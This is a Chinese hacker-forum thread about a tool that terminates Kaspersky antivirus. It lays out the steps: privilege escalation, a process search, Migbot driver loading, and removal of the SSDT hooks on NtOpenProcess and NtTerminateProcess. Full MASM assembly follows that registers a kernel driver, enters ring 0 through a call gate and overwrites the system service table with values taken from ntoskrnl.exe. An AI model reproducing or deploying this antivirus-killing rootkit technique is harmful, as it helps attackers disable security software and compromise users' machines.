[原创]鉴于上次结束瑞星的程序写得不好 就再写一个结束卡巴的吧
软件作者：zjjmj信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）
卡巴死机比瑞星要强得多，俺发现俺的很多办法在卡巴面前都会卡壳！
卡巴死机会主动防御，还会随时检查（难怪不得装上这玩意儿速度变这么慢）！
不过俺运气不错，找到了几个后门！（不过俺没有Debug过，不知道又会出什么状况，呵呵）
俺的系统是Xp Admin用户，卡巴是6.0.2.621版。
补充说明：本软件并不是使用修改系统时间的方法。 CMD date 1980-01-01 用了，再次打开有个叹号，不能修复了，早知道不用，那么明显 为啥子总要俺来说明呢，必须要有同目录下的Call.dat文件来安装驱动！所以还要求要是Admin用户！ 希望以后发布有详细的说明之类的东西，否则我还真不敢随便用呢。呵呵。 .exe
装载Call.dat,
OpenProcessToken--->LookupPrivilegeValueA--->AdjustTokenPrivileges //提升权限
CreateToolhelp32Snapshot--->Process32First--->lstrcmpiA--->Process32Next //搜索卡吧进程
ZwQuerySystemInformation--->VirtualAlloc--->VirtualFree
OpenProcess(以TERMINATE打开)--->TerminateProcess //结束avp.exe
.dat
创建驱动 C:\MIGBOT.SYS
调用ZwSetSystemInformation
基本就这样 分析得正确，因为卡巴有主动防御，所以只能用Migbot加载驱动！
卡巴对NtOpenProcess和NtTerminateProcess两个函数进行了HOOK，俺的驱动把HOOK恢复后，再搜索卡巴进程结束之！ 楼主能不能把恢复SSDT的代码发出来?
还有,恢复SSDT必须加载驱动吗? 恢复SSDT不一定要加载驱动，但是要进Ring0才行.
.386p
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include macros.asm
include masm32.inc
include debug.inc
include advapi32.inc
includelib debug.lib
includelib masm32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib advapi32.lib
.data
dwFileSize dd 0
hFile dd 0
hMemory dd 0
pMemory dd 0
FunBase dd 0b6a8h
szExceptionCaused db 'Exception Caused - could not switch to ring 0',0
szError db 'Error',0
MsgCaption db 'Test',0
MsgBoxText db "cr3=%8x",0
tmp db 50 dup(90)
Callgt dd 0
dw 353h
.data?
.code
ExceptCallBack PROC
invoke MessageBoxA, 0, addr szExceptionCaused,addr szError, 0
invoke ExitProcess, -1
ret
ExceptCallBack ENDP
_OpenSys proc
local hSCManager:HANDLE
local hService:HANDLE
local acDriverPath[MAX_PATH]:CHAR
; Open a handle to the SC Manager database
invoke OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE
.if eax != NULL
mov hSCManager, eax
push eax
invoke GetFullPathName, CTXT("sys.sys",0), sizeof acDriverPath, addr acDriverPath, esp
pop eax
; Register driver in SCM active database
invoke CreateService, hSCManager, CTXT("sys",0), CTXT("System",0), \
SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \
SERVICE_ERROR_IGNORE, addr acDriverPath, NULL, NULL, NULL, NULL, NULL
.if eax != NULL
mov hService, eax
invoke StartService, hService, 0, NULL
; Here driver beeper.sys plays its nice melody
; and reports error to be removed from memory
; Remove driver from SCM database
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.else
invoke MessageBox, NULL, CTXT("Can't register driver.",0), NULL, MB_ICONSTOP
.endif
invoke CloseServiceHandle, hSCManager
.else
invoke MessageBox, NULL, CTXT("Can't connect to Service Control Manager.",0), \
NULL, MB_ICONSTOP
.endif
ret
_OpenSys endp
start:
push offset ExceptCallBack
call SetUnhandledExceptionFilter
invoke _OpenSys
invoke CreateFile, CTXT("C:\WINDOWS\system32\ntoskrnl.exe",0), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox, NULL, CTXT("打开文件失败！",0), CTXT("打开文件失败！",0), MB_OK or MB_ICONHAND
jmp Exit
.endif
mov hFile, eax
invoke GetFileSize, hFile, NULL
;add eax, 0100h
mov dwFileSize, eax
invoke GlobalAlloc,GMEM_SHARE or GMEM_MOVEABLE or GMEM_ZEROINIT, dwFileSize
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke ReadFile, hFile, pMemory, dwFileSize, esp, 0
mov ecx, 0470h/4
mov esi, pMemory
add esi, 0b6a8h
mov edi, esi
add1: lodsd
add eax, 0800d8000h
stosd
loop add1
;jmp Exit
call fword ptr [Callgt] ;use callgate to Ring0!
mov eax,esp ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax
cli
mov edi,0804d8000h
add edi,FunBase
mov esi,pMemory
add esi,FunBase
mov ecx,0470h
cld
rep movsb
sti
pop esp ;restore ring0 esp
push offset Exit
retf
Exit:
;invoke MessageBox, NULL, CTXT("已成功恢复SSDT",0), CTXT("Success",0), MB_OK
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
invoke ExitProcess,NULL
end start 不知道在双核下有没有问题？
页:
[1]